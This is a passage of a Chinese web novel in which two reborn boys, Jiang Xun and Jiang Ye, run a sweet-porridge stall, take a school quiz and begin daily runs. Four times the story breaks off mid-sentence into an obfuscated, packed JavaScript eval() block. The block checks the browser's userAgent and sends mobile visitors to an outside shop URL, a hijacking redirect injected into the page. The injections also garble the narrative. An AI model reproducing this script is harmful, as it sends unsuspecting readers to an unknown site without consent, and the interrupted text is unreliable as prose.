江寻思考了一番,又道:“我们看看这次糖粥卖得如何,卖得好,给一点也无妨。这毕竟是你的辛苦银子。” 江夜笑:“那倒也无所谓。”反正以后他会有很多很多银子。 但冲着江夜的这份心,江寻还是铭记于心了。——这毕竟是他的爹娘啊。 另外,江夜的话倒是提醒了他,靠自己起步,毕竟太难,倒不如靠人起势。 书中所说,沈德福就是一个很好的“势”。他家的杂物铺后续会越做越大,但前期却差点没能挺过来。 自己要不要等他快要闯不过去的拉他一把呢。 他习惯两手把握,这样就算他的小食生意做不起来,自己还有有第二条出路。 所以等到次日的时候,等沈德福前来之前,江寻颇早就起来了。他这个糖粥是从前家里的厨子经常做的。前世的自己虽然不会做,但就是看人做自己也会了。 加上他还有张氏帮他。 食材在前一天晚上都准备好了,第二天就可以开始熬煮。 他将那浸了一夜的糯米倾入锅中,添上清水,灶膛里架上柴火。米粒在滚水里上下翻腾。他抽去几根柴,把火势压下来,只余一灶温温的火,让锅里的动静从滚沸转为轻滚。大约一个时辰之后,就闻到了扑鼻的糯米香。 他刚要打开锅盖,听到身后喊:“好香啊。” 江寻回头,笑,“你醒了?” 江夜道:“第一次见你这么勤快。” 江寻笑,“我也没那么懒吧。” 说着,他打开锅盖,放了红糖,又加了红枣与桂圆。最后灭了柴火煮了一盏茶的时间。 全部煮好后,江寻让它焖了一会儿,焖好,这糖粥才算好了。 这边刚做好,那边沈德福就来了。 小胖子一进来就大喊,“好香啊,老远就闻到了。” 江寻回头,“你先坐。” 江夜问:“这么早就来了。” 沈德福嘿嘿笑,“等着来吃你们的美食啊。” 江寻给沈德福打了一碗,“尝尝看。” 一旁的江夜道:“我呢,我没有。” 江寻道:“这也是你家啊。” 江夜:“好吧。”他自己去锅里打了一碗。 沈德福就着烫粥吃了一口,吃完,拍着大腿道:“好!很好。” 江夜也吃完了,赞道:“确实不错。” 沈德福:“这米很香,枣也甜,味道也不腻。我吃的糖粥都很甜,你怎么做到的?” 江寻笑:“我加了桂圆壳煮过的水,这水带了一点点淡淡的涩,能压住糖的甜。” 沈德福恍然:“原来如此,怪不得这么好吃。” 江夜道:“要我说,还是因为够烫,粥温就打折扣了。” 江寻:“正是。”说完,又问,“那这粥能卖吗?” 江夜和沈德福异口同声,“能卖!” 要卖的东西是准备好了。他们在沈德福的指导下又去了“坊正”,交了摊位费。本来那管事看他们是小孩子,还不予接待的。但听说沈德福是“好东西”沈老板的儿子,便同意了。 手续办完,他们又一起去备置家伙,先去了铁匠铺买了炭炉,去瓷器铺买了锅碗瓢盆,又去木匠铺租了桌椅和定制了一款专属摊车,又去炭行买了炭,最后一步就是买了个幌子。 字他们打算回家自己去写。 一切准备就绪,接下来他们就是选个好日子准备出摊了。 三人在一天的时间几乎把清河镇逛了个遍,再在街口分手言别。 沈德福:“下次再有什么卖什么,记得喊我啊。可别只让试吃了,我也想加入啊。” 江寻笑,“那是自然。”他想沈德福毕竟帮了他们那么多,也得回馈他一点,便道:“我们之前在墨斋坊抄书,收入也不错。” 听江寻这么说,江夜回头看了江寻一眼。他没想到江寻这么轻易就把这个赚钱的活告诉沈德福。其实说本来也没什么,也不是什么不可说的。 但他莫名就是……像是他和江寻的秘密突然被第三个人介入了一般。 果然沈德福确实感兴趣,“真的?好赚吗?” 江寻道:“好赚。你一天大概写十张左右,能赚三十文左右吧。” 沈德福:“哎,可我写得慢啊。你们写得快,又写得好,很合适。我不太行。不过阿寻,还是谢谢你了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363407|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>江寻笑道:“不用。” 与沈德福分别后,江寻江夜两人回到家,便准备着给幌子写字。由于江夜的字更具锋芒,便由他来写。 就是摊名,两人还没想好。 江寻道:“就叫兄弟糖粥好了。” 江夜笑着打趣,“兄弟?我是兄,你是弟?也没见你喊我一声哥哥啊。” 江寻也笑:“我们相差并不大吧。”让他一个活了三十二岁的喊他一个九岁的小孩哥哥,怎么喊怎么别扭。 江夜:“相差不大也是哥哥,你看沈德福都喊我夜哥。” 江寻决定不再谈论哥弟的话题,“兄弟糖粥挺好的。” 江夜还就江寻为什么不肯喊他哥哥,偏执上了,“那我写兄弟粥铺,你喊我哥哥?” 江寻:“………那如意糖粥也行。” 江夜:“阿寻。” “如意粥铺,嗯?” 江夜提笔在幌子上写下,“兄弟粥铺”四个大字,字写得飘逸。就是写得太好了些,仿佛不够朴实。 江寻拿起来看了一眼,道:“你该写楷体。” 江夜道:“都写好了。” 江寻:“那就再写一张吧。” 江夜性格强势,胜负欲极强,答道:“不写了。” 江寻倒没那么强势,他是大部分温和,但若是他要完成的事情,是绝对要求完美的。之前不管是抄书、还是练字,他们都是各做各的,江寻又总是刻意退让,所以两人一直相安无事。 但今日两人便发生矛盾了。 但江寻不会选择正面对抗的解决办法,笑着说道:“那就这样吧。” 江夜看江寻走远,默不作声的,显是在生气。 他从没有哄人的习惯。 虽然这两年,他与自己形影不离,自己几乎把他看作是真的兄弟了。 他沉默不语地洗了脸回来,看江寻还是没说话,只是躺到床上看书。 江夜忍不住了,解释道:“我这个字确实没什么问题,为什么非得是楷体?” 江寻放下书,耐心解释:“这是糖粥铺,来买糖粥的都是妇女儿童,如果太有攻击性的话,别人怎么敢来呢?他不敢问,也不敢来。最好的办法,还是让他们隔着二十步就能认出来,咱们这是个粥铺,楷体符合我们的需求。” 江夜沉吟半晌,他妥协了。妥协完,又有些不敢置信自己被江寻说服。他是重生的啊,刚才明明还挺强势的。而且他到底是怎么说服自己的? 江夜咳了一声:“那就楷书吧。” 江寻:“那好,明日再写一张吧。” 次日他们便去另买一张幌子,江夜老老实实地写了个楷体,写完挂在那边。幌子迎风飘扬。 张氏走出来看到,笑:“哟,还挺气派。想好什么时候出摊了没?可得选个吉日啊。” 江寻笑问:“娘亲能帮我们选选吗?” 江夜也道:“请娘亲帮忙。” 张氏被他们劝说着,还挺不好意思,“你们信我的话,那就明日,明日日子好,大吉大利,最宜开张。” 江寻和江夜异口同声,“那就明日开张!” 说完,两人相视一笑。那些因幌子闹的不愉快自然烟消云散,毕竟还有更大的挑战等着他们。 8. 糖粥 第二日,江寻和江夜两人早早地起床。 当然,江寻基本起不来。 江夜先起来,他看江寻这样赖床,不由地想笑。怎么那么淘气呢。 他笑道:“起来了!”说着去拉江寻的胳膊。 “不想起来。”江寻迷迷糊糊地说。 “今日要出摊,你忘了。” 江寻没答话。 江夜想起昨日跟他慢条斯理解释幌子的人,本来还觉得这样看的话,确实不像弟弟。 现在么…… 还是弟弟啊,懒洋洋的弟弟啊。 平日里起不来也就算了,但今日不行。 他把人提起来,推着他起身。但江寻一起来就软倒,江夜只能将他半抱在怀里。 “阿寻,你如果再不起来。我要挠你痒痒了。” 江寻嘤嘤地表示听到了,靠在江夜的肩上,“一盏茶,再睡一盏茶就起来了。” 江夜哭笑不得,“好,一盏茶。” 他先起身去洗脸洗漱,还下了楼准备出摊的食材。 一切准备就绪又上楼,看到江寻已经起来了,衣服也换好了。 “还道你起不来呢。” 江寻笑,“这还是能起来的,就是着实太冷了些。” 江夜看江寻把自己包成粽子,笑,“要我说。这出摊还是太辛苦。” 江寻:“我们走吧,再不易也得开始啊。” 耽搁了一会儿,总算还是开始了。 这还是他们第一天,江秀才和张氏自然得帮他们,两人帮着他们推着摊车到了前街镇东茶棚。这里是有很多干活的人,会选择吃点东西再走。 当然,他们留在这里的原因是,毕竟两个孩子年纪这么小。但他们又不得不承认这两个孩子是有点本事的,就冲他们能抄两年的书,赚了二十两。 江夜道:“爹娘,你们回吧,我们可以的。” 江秀才道:“让我们再留一会儿,帮帮你们。” 江寻道:“我们行的,这邻里都是认识的。”他指着不远处也有跟他们差不多岁数的孩子出来叫卖,“他们能行,我们也是。” 江秀才和张氏被说服了,临走前还是不放心,又是嘱咐这个,又是嘱咐那个的,念了一大堆地才恋恋不舍地走了。 爹娘走后,这才是真正的“兄弟糖粥铺”了。 江寻负责煮粥,江夜要忙的事情也很多,摆几个桌椅,算账管钱,吆喝揽客。 等到天色渐明的时候,糖粥也煮好了,香气远远地飘出来。 很快他们就有了第一个上门的生意,是个粗汉子。 那汉子看到他们是孩子,还笑着说:“你们的爹娘呢。” 江夜道:“就我们两个,兄弟糖粥,您抬头看看。” 汉子抬头看了,笑着点点头。 江夜将那晚糖粥递给那汉子,那汉子坐在桌上吃了。 这毕竟是他们的第一单生意,江寻江夜两人还挺紧张的,他们盯着那汉子吃完,吃完后又听他说:“再来一碗!” 江夜忙给他又打了一碗,那汉子迅速地又吃了。 于是两人便有了第一笔银子,一共三十文,净赚二十文。当然,距离回本还有段距离。但卖出去的巨大喜悦,把什么都冲淡了。 但喜悦只是暂时的,这一个客人之后,接下来他们就没人光顾了,全部都到隔壁的面摊去了。 他们知道,这是缺少一些曝光度呢。 普通人想抢占市场,除了实力够硬,也得先让别人知道他们兄弟糖粥吧。 江寻很快就想出了办法,对江夜道:“我们得改良一下我们的摊车。” 江夜问:“怎么改?” “改得更吸引人一点。” 江夜:“这得回去做。——开业第一日,先打开名气吧。” 江寻:“三文一碗?” 江夜:“也行,但只限前三十。” 江寻帮他补充:“两人同行,第二碗半价,鼓励他们结伴来。” 江夜嗯了声,“我来写。”他看江寻的脸都冻红了,“还是冷吗,你去烤火,我来就行。” 江寻:“还好的。” 江夜扶住江寻的肩,“让你去就去。” 江寻坐到了炭炉边,热意瞬间笼罩着他。他回头看江夜,不禁想,倒是有几分哥哥的样子。 也许叫哥哥,也能增加点好感度? 他看江夜在红纸上迅速地写了几行字,正是他们刚才讨论的东西。他写字的模样一板一眼的,看着像一个小孩子,却有几分名士的气质。但很快这名士气质就消失了,挂好牌子后,江夜便开始吆喝起来,“好吃的糖粥啊,好吃的糖粥,三文一碗啊。快来尝一尝啊。” 江寻忍不住就笑了。 哥哥这么卖力,自己也不能闲着。 面子算什么,能有银子重要吗?再怎样,得把这本先赚回来吧。他也跟着走到江夜身边,大声附和:“糖粥——热乎的——刚出锅——闻着香—— “婶子,带一碗回去吧?给家里孩子尝尝。 “小哥哥喝粥不?甜的,还有枣——” 也许是他说得好,江夜也跟他学。 两人你一句,我一句的,真的招揽了不少客人。关键还是两人的声音抑扬顿挫的,清脆好听,在前街众多的摊位里非常显眼。 因为粥太便宜,很快,他们也迎来了卖粥高峰,摊前排起了长队。 很快,前三十名的名额一下子就用完了,他们恢复了原价。 但买粥的人数只多不减。 清晨结束,他们便转到了庙门口,慈恩寺上香的人多,卖的是最快的。他们甚至不需要用到促销的办法。因此,他们也有了经验,庙口才是卖粥的好地方。 就这样到了中午,他们的糖粥便全部都卖出去了,只能提早收摊。 不过,他们也估摸着知道大概要做多少糖粥了。 回去的时候,爹娘也过来帮他们收摊。听说他们都卖完了,两人还不敢相信。张氏去看了木桶,是空的,真的全部都卖完了。 江寻道:“娘亲猜猜我们今日收入多少?” 张氏:“一百文?” 江寻摇头,“再猜。” 张氏道:“儿子,你就告诉为娘吧。” 江寻:“是三百文。” 江夜道:“再卖几碗,摊车的本钱就回来了。” 张氏摸着胸口顺气,“三百文!!这要是卖三十日那就是……”她都说不下去了。这可比夫君当什么私塾夫子,或者给人代笔写书信要强。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江寻坐在一旁,“信啊。”然后轻轻喊了声,“哥。” 江夜本还在观察着这枣树,想着要不要再用竹竿固定一些,这样是为了稳定树干。但他听到江寻喊他,怀疑自己听错了,“你喊我什么?” 江寻:“只有这一次。” 江夜:“一日为哥,终生为哥。” 江寻:“…………”什么乱七八糟的。他起身往灶房去,准备开饭了啊。 江夜亦步亦趋,“知道了没,江寻弟弟。” 江寻听着系统里传来的任务音,说是恭喜他获得五点好感度,实在是有点无语,叫声哥就两点!那他与他抄两年书算什么!——这人真是排外啊。 “不知道。” “以后都要这样喊,不然的话哥哥以后不带你玩了。” “我好稀罕。” 江夜笑:“你说得对,是我稀罕。咱们都‘兄弟糖粥’了。” 说话间,两人已经坐下了。张氏和江秀才笑着问他们在聊什么。 江夜开心地老实回答。 此时灯火三分,有热腾的饭菜,和可亲的家人。江寻想,也许就这样过一辈子也不错,多一个哥哥也还行。 江夜还要继续说。 江寻夹了一块鸡肉放在江夜的碗里,“吃饭吧,哥哥。” 9. 提醒 这顿年夜饭,吃得江夜产生某种很奇妙的感觉,仿佛是,他好像从未真的活过,享受过家人。而事实是,确实如此。 前世,虽然他们没这么对付他,但因为江寻的不喜,他从未跟江秀才和张氏产生哪怕一丝关联。这少年一直防备着他。 ——但今生的江寻是不一样的。 吃了饭,江夜主动问江寻,忍不住道:“一起放鞭炮吗,哥哥带你去。” 江寻的眼神略带震惊,缓了一下才道:“天色不早,还是早些睡觉吧。” 江夜:“……你真的不像个八岁的孩子。” 江寻:“………咱们彼此彼此。” 上了楼,江夜还是决定多扮演扮演哥哥的角色,凑上前:“那你给我说完那《玉观音》的事。” 江寻:“你不是已经猜出来了?” 江夜:“?” “你的反应。” 江夜继续逞强:“………我没怕。” “我没说你怕啊。这样吧,哥哥,我给你讲完。那崔宁见到秀秀,相信了她。两人便一起走,开了一家碾玉铺子,一家人其乐融融。” 江夜:“所以那秀秀是鬼。” 江寻没答,“此事被报告给了郡王,郡王被人去捉,崔宁才知道的。” “结尾如何?” 江寻拿起书,摇了摇,“还在看。” 江夜笑:“有空借我看看。” “好。” 两人聊完,江夜去了外面,重生归来后,他决定从小勤修武术,把以前拉的全部都补回去。只是这件事得悄悄地做,以后找个机会让它合理。 等他练好回去,就看江寻已经靠在那睡着了,头枕着书,趴在床上,模样非常可爱。他想起江寻平日里老气横秋的模样,偏偏睡觉又过分乖巧。 他帮他把被子盖好,也跟着上床睡觉。 年初一,两兄弟便商量着一起去卖糖粥,张氏和江秀才见儿子们这么努力,也不好闲着,帮着他们一起。在其他人花了大把银子过年的时候,江氏一家则赚了盆满钵满的,一直到年十五元宵上学,不仅把成本赚回来了,还额外收入近三两银子。 三两并不是一个小数目, 江秀才在私塾里教书,每个学生一年的束脩也就二两左右。 事后一家四口坐在一起数银子,看到桌上一堆哗啦啦的铜板,大大小小,明晃晃一片。这种心情是难以言喻的。 张氏满脸喜气,笑:“要我说,还是这糖粥好。寻儿,你是哪里学的那么好吃的糖粥。”江寻的糖粥十分特别,跟寻常人家做的完全不一样,回头客特别多。 江寻笑,“我从杂书上学的。我还有一些小点心,娘亲可要学?” 张氏:“你且告诉为娘,等日后看看能不能增加点其他点心。” 江秀才见娘子只顾赞扬儿子,道:“要我说,糖粥是好,也离不开阿夜的主意。” 张氏即刻会意,“是是是,阿夜,这些日子最辛苦的还是你了,帮着叫卖。这糖粥再好,卖不出去也是枉然。” 江夜并不介意,“我和阿寻,谁的功劳也少不了,当然,爹娘,你们帮的忙也很多。” 一家四口其乐融融,江秀才:“这赚来的银子就给你们当束脩了,爹娘再添补一些,这叫尊师礼。” 江寻和江夜也没多说什么。这脩金只能给的。如果他们说不去上学,爹娘两人估计得要疯。还是别太不一样了。 过了元宵节,两兄弟收拾了一下准备上学。张氏想着家里收入也多了些,还专门给他们置备了新衣裳,和新书囊。 江寻看到那个新布包的时候,是拒绝的。他真的要完全表现得像一个八岁小孩吗?不,他不要。 但他是如此,江夜却挺高兴的,背好后还主动问江寻,好看不好看。 江寻只能拼命夸奖,希望多夸一些,能多拿一些好感度奖励。 到了私塾,他们两人自己去交了脩金。 也许是交了脩金,那吴夫子也没有给他们脸色看,而是轻声嗯了声,还跟他们说了些吉祥话。 至于对于江寻和江夜来说,新的一年,他们也会安安静静的。——吴夫子别惹他们,他们也不会主动与他对着干。 新的一年吴夫子也给他们布置了新的任务,除了大学之外,还背《中庸》。 “另外,后日我们私塾先举行一个小考,让我看看你们的水平。年中的时候,咱们私塾跟隔壁几个镇联合有一个季考,大家做好准备,别给我丢脸。” 吴夫子话音刚落,学堂底下立即响起哀嚎声。 “一开学就考,不会吧。” “太过分了吧,真不是人啊。” 吴夫子拿着个戒尺在桌案上拍得噼里啪啦响,“安静,安静!考试的内容也很简单,《三字经》《千字文》,《孝经》《大学》,可明白?另外,今年要开始学习作文了,大家都上点心。” 一句一句的,每说一句,底下就哀嚎一句,且是真哀嚎,不是虚的。 “现在大家跟我念一遍《中庸》,我念一句,你们跟一句,都精神一些。”吴夫子说完,拿着戒尺开始念叨起来。 这里的一切,江寻都充耳不闻,他沉浸在新借的书里,是一本《洗冤录》,专讲各种离奇命案的勘验。也许是看得太专注了,直到吴夫子快要巡视到他身边的时候,都没有察觉。 他是没看到,但坐在他身后的江夜看到了。 他知道江寻的注意力又在别处了,他无可奈何,也习惯了。但眼看着吴老头越来越近,他只能通过咳嗽来提醒他的好弟弟——吴夫子来了。 但他的咳嗽声很快就被淹没在郎朗的读书声中。 于是江夜只能咳得更厉害一些。 他咳得这般厉害,江寻还是充耳不闻。 反倒是引起了吴夫子的主意,吴夫子摆了摆手,顿时课堂恢复了寂静。 他问江夜,“江夜,你怎么了?” 吴夫子在问的时候,江寻也终于转了过来看他。 江夜松了口气:“…………没事,呛到了。” 吴夫子不耐地一扬手,“都继续吧。” 学堂里的弟子们又开始摇头晃脑起来。 念完之后,是自由朗读时间。江寻转过头问:“哥,你怎么了?” 江夜:“………我提醒你。” “提醒什么?” “刚才朗读的时候,你头都没抬一下啊。” 江寻:“……是这样啊。” 江夜;“…………”他表示很担心弟弟,这么小就不务正业可怎么办啊。“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363409|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还记得我们之间的那个约定吧?就从这次小考开始吧。你垫底,可要听我的。” 江寻笑笑,“放心,不会垫底。还有朱红呢。” 说到朱红,他们都看向那次在山神庙头破血流的孩子,当然,过了个年,已经痊愈了,但留了一个小伤疤。朱红似乎是察觉到他们在看他,回头狠狠地瞪了他们一眼。 江寻笑,“我一点也不急。” 江夜:“…………” 吴夫子说到做到,只给他们一天的准备的时间,就安排了小考。考试内容对于吴夫子来说,自然是简单得不行。 但对于其他弟子来说,卷子一发下来之后,大家都要哭了。 当然,除了江寻和江夜。 江寻因为和江夜有了那个赌,便也上了心。只不过,这考第一名,自然是容易的;考倒数第二名,却是不容易的。 这么一张满当当的卷子,江寻也有不知该如何下手的时候。 他生怕自己一不小心就考进了前三,从此让其他人——刮目相看。 他冥思苦想地下了决定,把跟三字经有关的写了,其余的,一律空着。《三字经》嘛,太简单,这还能忘了? 写完,他心满意足地交了卷。 …… 到了阅卷环节,吴夫子就发现,整个学堂只有江寻一个人将《三字经》一字不落地全填上了。 甚至连江夜,也是三字经这里翻了小车。 吴夫子是既赞叹,又奇怪。怎么能什么都记不住,偏偏只记得最简单的《三字经》啊。 他差生也见多了,再差,也绞尽脑汁写几句上去。哪里像江寻的,一会就会一大片,一不会就全部都空着呢。 次日,吴夫子满脸严肃地在台上怒斥他们: “本次小测,简直让为师大失所望!这样的成绩,如何参加三个月后的季考?你们想气死我吗?想让为师在四里八乡丢人现脸?那我可告诉你们,没门!” 吴夫子骂得吐沫横飞,继续道:“这么简单的《三字经》,也就让你们默写十句话,你们才背了多久?全班竟只有一个人全部写出来了!” 听到这个,底下的弟子顿时窃窃私语,“谁啊,谁全部都写出来了。” “肯定是江夜,我看他全写满了。” 江夜也以为是自己,直到听到吴夫子说,“这人就是江寻!江寻,上来拿卷子。” 话音刚落,他和其他人都看向江寻。 江寻满脸问好:“??”不是吧,《三字经》这么简单,居然已经忘了吗?还有,都已经是倒数,没必要因为这个特地表扬吧。 他迎着头皮上前去领卷子。 吴夫子的态度没那么严肃,仿佛只有他没有让他失望。 江寻接过卷子,看到卷子上那鲜红的下等,松了口气,幸好,还是“下等”卷子。但下等旁边有个批语,写着:“《三字经》全默正确,可嘉。” 他拿着退回到自己的座位。 回去后江夜就笑道:“不错啊,弟弟。” 江寻:“谢了,但还是下等卷。” 江夜:“我之前倒不知道,你《三字经》背得这么熟。”或者,他就从来没见江寻背过书。“你什么时候背的?” 江寻:“也许在你睡着的时候。” 10. 跑步 这话说的,让江夜想起自己悄悄地练习武术。 江寻之后,吴夫子才开始报学堂的第一名,自然而然,第一名的还是江夜。江夜拿到卷子之后,粗粗地看了一眼自己的卷子。 确实是,他全写出来,但有一句很容易混淆的话默错了。他微微垂眸,又抬头看了一眼江寻。 那种看着自己比他强,但时刻被他压制的感觉又来了。 发完卷子,吴夫子道:“本次小考的名次已经贴在外面了。你们自己去看看。” 听到这句话,江寻有种不好的预感。 等散了学,江寻坐在位置上不动,江夜去看榜了。每次都是如此,旁人估计会以为他是不敢看榜,其实他是懒得去看。且每次张榜完,那些考得比他好的同学还会反过来安慰他,什么“没关系,下次努力。”倒弄得他不好意思。 他坐在座位上等着江夜回来。 过了一会儿,江夜回来,目光炯炯有神地看着江寻,“想知道你这次第几名吗?” 江寻:“反正不会是前三,我猜是第十八吧。”全部同学加起来也就二十人。 江夜:“………”这种自信到底哪里来的,精准控制自己的名次? “对不对?” “……对。” 江寻笑,“大差不差。朱红最后吧?” 江夜:“没有他。” 江寻:“为什么?” 旁边的沈德福凑过来道:“他作弊了。” 江寻震惊,“我怎么不知道。” 沈德福:“因为是考完有人举报的。” 江寻:“………”下次得考第十名,也就是超过沈德福。 江夜看江寻震惊的脸觉得好笑,“你输了,我的好弟弟。我的要求也不高,第一,接下来每日跟我早起跑步上学,一边上学一边背诵;第二,季考考进嗯……前五十吧。”他相信经过他的指导,前五十还是比较容易的。 江寻什么都挺好的,但他比较爱睡觉,他想把前世要补的觉都补回来。 “哥哥……”他得试试撒娇了。 江夜:“除非你考进前五十,否则这事没商量。” “那如果我考进前五十,你以后都不管我?” 江夜:“…………”他就是想管他啊。“那得要前十。” 江寻:“成吧。我就努力一下。” 沈德福在一旁喊,“带我一个呗,我也想好好考试。阿寻,咱俩是难兄难弟啊,你别丢下我。” 江寻正想着找机会迎合沈德福,“成啊,你问问我哥愿意不愿意带你一起跑。” 江夜:“跑步也不顺路。散了学吧,你先来我们家。” 沈德福:“好!” 这事就这样定了。 江夜想着,有了这样一个目标,加上自己会督促他,江寻应该会有明显的改变。 只是没想到,晚上回家,阿寻还是该躺平躺平,洗了脸,就摸上床榻靠那读闲书。 仿佛今日他跟他说的,全是一句玩笑。 次日,江夜先去外面练完拳,练完才回来去喊江寻起床。 江寻被迷迷糊糊地拉起来,往窗外一看,鸡还在睡呢。 救命啊! “哥哥……你饶了我吧。”江寻哭着喊。 江夜:“说了要去跑步,对你的身体也好。” 江寻哪里不知道这个道理,但他就是想偷懒。他前世行军打仗,苦日子过得够多了啊。 “哥……”他决定装可怜,抱着江夜的腰死不松手,一边哭一边继续睡。“你饶了我,下辈子我做牛做马报答你啊。哥……” 江夜被弄得哭笑不得,“好,那就一刻钟。” 江寻迷迷糊糊地应,重新躺了回去,找个舒服的姿态继续睡了。这一睡,江夜是无法怎么叫都叫不起来了。 于是两人还是在正常的时间赶去上学。 江寻自己也不好意思,“其实《大学》我已经会背了,不信我背给你听?” 江夜瞥了他一眼,“阿寻,你只要稍微努力一点,你绝不会比我差。” 江寻点头如捣蒜,“除了别让我早起,我什么都愿意做。” 江夜:“一年之计在于晨。” “那起不来怎么办?” “早点睡。你答应我的,要听我的。” 江寻:“…………”他心中哀嚎,朱红啊朱红,你为什么要作弊啊! 事实证明,只要江夜想做什么事情,是一定会做到的。当天,他就早早催促江夜睡觉,还暂时保管了他的闲书。 早睡的江寻,早上果然好起来了。 两个小小少年起来后,自己洗漱后,下了楼吃了张氏做的热乎红糖馒头。——张氏学会做糖粥后,凡要是吃的都爱放糖。他们一人吃了两个馒头,便起身上学。 此时天还微亮,灰蒙蒙的,有鸡叫的声音。 两人先家里跑出来后,先经过的是郑寡妇的豆腐坊,还差点撞上郑寡妇的闺女小玲端着的豆腐脑。 小玲侧身一躲,碗里的豆腐脑晃了晃,没洒。 “赶着投胎啊?”她瞪了两人一眼。 江寻刹住脚,喘着气:“小玲姐对不起——” 小玲看江寻这么客气,又笑了,“快去追吧。” 江寻笑着点头,他往前看,看江夜停在不远处等他。他跟小玲姐点点头,往前跑去。 他追上江夜。 江夜问:“你们说什么呢。” 江寻:“说你不等我啊。” 江夜:“……我何曾没等过你。”他话音刚落,就见江寻突然加速超过了江夜,拐到了前街。 前街这个时候是最热闹的。 永福茶楼的伙计阿强正在卸门板,看到两人,笑着,“这么早啊,阿寻阿夜。” 江寻笑:“早啊,强哥。” 江夜在江寻的带动下,也淡淡附和:“早。” 穿过永福茶楼,接下来就是回春堂,陈氏布庄,李记糕饼铺…… 大家都早早开门了。 他们一路跑,终于从前街绕到了文昌坊,世界一下子安静了。再往前跑了一会儿,便是他们抄书借书买书的翰墨坊。 书坊冷老板看到他们还吆喝,“阿夜,阿寻,有空再来抄书啊。” 两人笑着应了声是。 文昌坊里的很多店铺都没开门,于是沿路过去的时候,只能听见两个少年跑步的声音,踢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363410|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踢踏踏的。 从文昌坊出来,进入郊野小径,他们路过春日绿幽幽的菜地,再进入他们熟悉的松树林。 继续往北,跑上一条松林小道,方才抵达吴氏学堂。 就这样跑到后,两人双手撑膝喘着气。 江寻已经半命条去掉了,半天没缓过来,反倒是江夜,只喘了一会儿,便问江寻:“怎么样,你有没有觉得头脑很清醒。” 江寻气喘吁吁地扶着江夜的肩,“我只想喝水。” 江夜看江寻这副样子,不由想笑,“好,哥哥给你拿水。”他去学堂院子的水井里打了水,喂给江寻喝了。 江寻喝了水,才能正常说话。 “我发誓——” “嗯?” “这次季考,我一定会考到前十。” 江夜:“…………” 本来江夜以为江寻既已立下壮志豪言,接下来的课上会认真一些。但哪知转眼,他还是老样子。跟读的时候不好好跟读,背诵的时候十句差八句。 大概唯一认真的事就是练字。 那一手字,连他都要甘拜下风。 这字,让人看到,会对江寻这个人浮想联翩。想来一定是惊艳绝世的大才子才能写出这么飘逸俊秀的字。完全想不到江寻的成绩在学堂里属于垫底。 他们到了学堂,开始跟读前,沈德福过来跟他们聊天。这已经成为他们的习惯,每日沈德福就会过来跟他们聊上几句。 今日的沈德福穿了件土黄色的袍衫,他穿好上问江寻:“好看吗?” 江夜回头看江寻,想来依他的审美估计是看不上,但没想江寻笑着颔首,“还不错啊,德福。” 江夜又转过头去看沈德福,那土不拉几的死颜色,还不错?江寻知道自己在说什么吗?如果他的好看,那自己的布包也好看才是。 沈德福听了明显挺高兴的,“真的啊,嘿嘿,俺娘也说我穿得好看。” 江夜回:“太胖了,就跟粽子一样。” 沈德福听后,眼神一暗。 江寻忙道:“我哥跟你开玩笑的呢。” 沈德福脾气好,嘿嘿一笑,“没事没事。”说着转回自己的座位去了。 沈德福一走,江寻回头满脸疑问地看向江夜。 江夜挑眉,眼眸略带不羁,他其实并不屑于将剑锋指向这些小孩,包括沈德福,包括张迅疾……也因为这几年身体受限,他也真的把自己当成小孩子江夜。但就是那一刻,他内心的偏执阴暗突然就爆发出来,让他将剑锋指向所有人。 江寻问:“哥哥,你干吗呢。” 江夜听到这声哥哥,在一瞬间回神,“对不起,实话实说了。” 江寻:“我觉得你该跟德福道个歉。” 江夜心道:道歉?凭什么。沈德福算什么,要他道歉?自己当年叱咤风云的时候,他还都不知道在哪混呢。 他决定忽悠弟弟,“这没什么大不了,也不用道歉吧。你看他也不介意嘛。” 江寻摇头,“我并不觉得。哥哥,道个歉吧。” 江夜自然不愿,他决定倔强到底。但看到江寻这么认真专注地看着自己,他微叹了口气,“好好好,我去道歉。” 11. 辅导 江夜去道歉了,低声下气地跟沈德福说。 沈德福自然是受宠若惊,谁不知道江夜在学堂的实力。无论是论学业,还是论相貌,论智商,都是数一数二。就是论气势,也比吴夫子要吓人。 他哪里敢要江夜的道歉啊。 江夜道歉完,才回了座位,跟江寻完成任务似的,说“我完成了”。 江寻瞥了一眼江夜,觉得这个哥哥似乎缺少一点同理心,还是天生缺乏。 